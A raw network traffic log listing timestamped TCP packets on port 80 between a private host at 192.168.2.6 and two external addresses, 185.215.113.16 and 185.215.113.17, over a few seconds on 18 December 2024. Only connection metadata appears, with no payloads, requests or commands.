Dec 18, 2024 12:00:07.273711920 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.274291039 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.274302959 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.274339914 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.275592089 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.275652885 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.275681973 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.275719881 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.277014971 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.277079105 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.277259111 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.277321100 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.278218031 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.278271914 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.278337955 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.278419971 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.279691935 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.279742956 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.279823065 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.279861927 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.280920029 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.280966997 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.281253099 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.281306028 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.282080889 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.282119989 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.282540083 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.282594919 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.283376932 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.283534050 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.285080910 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.285094023 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.285135031 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.285161018 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.285320044 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.285360098 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.286823988 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.286873102 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.287111998 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.287201881 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.288635015 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.288702965 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.288876057 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.288933039 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.290220022 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.290302992 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.291234016 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.291281939 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.291706085 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.291719913 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.291753054 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.291773081 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.293067932 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.293133020 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.293446064 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.293500900 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.294595957 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.294678926 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.296339035 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.296351910 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.296403885 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.296443939 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.296494961 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.297463894 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.297517061 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.297635078 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.297687054 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.298707962 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.298763037 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.298837900 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.298882008 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.303004026 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.303018093 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.303149939 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.303163052 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.303193092 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.303252935 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.303798914 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.303822041 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.303833961 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.303865910 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.303883076 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.305377007 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.305810928 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.305911064 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.306423903 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.306487083 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.306639910 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.306694031 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.307822943 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.307883978 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.329438925 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.329524040 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.329891920 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.329905033 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:07.330070019 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.330070019 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.864218950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:07.983992100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:07.984090090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:07.985229015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:07.989300013 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:07.991354942 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:08.133739948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:08.133768082 CET	80	49902	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:08.133783102 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:08.133835077 CET	49902	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:08.133908033 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:08.134341955 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:08.253916979 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.326524973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:09.329180956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:09.472803116 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.472917080 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.474889994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:09.477104902 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.594630003 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:09.596771955 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.914298058 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.914366007 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.914366961 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.914395094 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.914433002 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.914463997 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.914727926 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.914746046 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.914761066 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.914769888 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.914812088 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.914813042 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.915582895 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.915601969 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.915617943 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.915657043 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.915657043 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.915729046 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.924407959 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.925085068 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:09.927544117 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:09.927639961 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.034120083 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.034157038 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.034185886 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.034245014 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.105587959 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.105643034 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.105654955 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.105882883 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.107903957 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.107969046 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.108050108 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.108050108 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.116504908 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.116559982 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.116599083 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.117085934 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.124761105 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.124825954 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.124831915 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.124897003 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.133313894 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.133373022 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.133454084 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.133502007 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.141793966 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.141905069 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.141932964 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.141958952 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.150257111 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.150316000 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.150384903 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.150427103 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.158694983 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.158750057 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.158756018 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.158790112 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.167113066 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.167177916 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.167195082 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.169085026 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.175614119 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.175672054 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.175728083 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.177084923 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.182545900 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.182591915 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.182615995 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.185091972 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.189538956 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.189604044 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.296533108 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.296581984 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.296611071 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.297084093 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.299906015 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.299983978 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.301131964 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.301184893 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.301246881 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.301287889 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.306483984 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.306497097 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.306550980 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.311680079 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.311743975 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.311758041 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.316263914 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.316782951 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.316840887 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.316852093 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.316931963 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.321584940 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.321641922 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.321666956 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.323132992 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.326272964 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.326330900 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.326380014 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.326433897 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.331068039 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.331134081 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.331176043 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.331229925 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.335850954 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.335913897 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.335944891 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.339277029 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.340529919 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.340586901 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.340656996 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.340713024 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.345310926 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.345369101 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.345422029 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.346183062 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.350198030 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.350253105 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.350289106 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.350327015 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.354990959 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.355057001 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.355094910 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.355139971 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.359601974 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.359667063 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.359724045 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.361962080 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.364486933 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.364558935 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.364840984 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.364897013 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.369122982 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.369174957 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.369220972 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.369724989 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.373966932 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.374032974 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.374038935 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.374110937 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.379107952 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.379182100 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.379234076 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.379234076 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.383445024 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.383517027 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.383524895 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.383589029 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.388227940 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.388305902 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.388341904 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.388394117 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.392955065 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.393027067 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.393042088 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.393101931 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.397710085 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.397838116 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.397964954 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.398551941 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.402486086 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.402580023 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.490137100 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.490216017 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.490253925 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.490426064 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.492322922 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.492440939 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.492460966 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.492510080 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.496341944 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.496504068 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.496535063 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.496588945 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.500176907 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.500216007 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.500252008 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.500252962 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.503473043 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.503546953 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.503583908 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.503685951 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.506727934 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.506793976 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.506803989 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.506902933 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.510050058 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.510118961 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.510169029 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.510237932 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.514050007 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.514064074 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.514458895 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.520016909 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.520030022 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.520309925 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.522778034 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.522792101 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.522867918 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.522867918 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.525249958 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.525521040 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.525990009 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.526416063 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.527044058 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.527182102 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.527201891 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.527282000 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.529831886 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.529895067 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.529915094 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.530019045 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.532932997 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.533024073 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.533057928 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.533159971 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.536218882 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.536396027 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.536442995 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.536442995 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.539447069 CET	80	49914	185.215.113.16	192.168.2.6
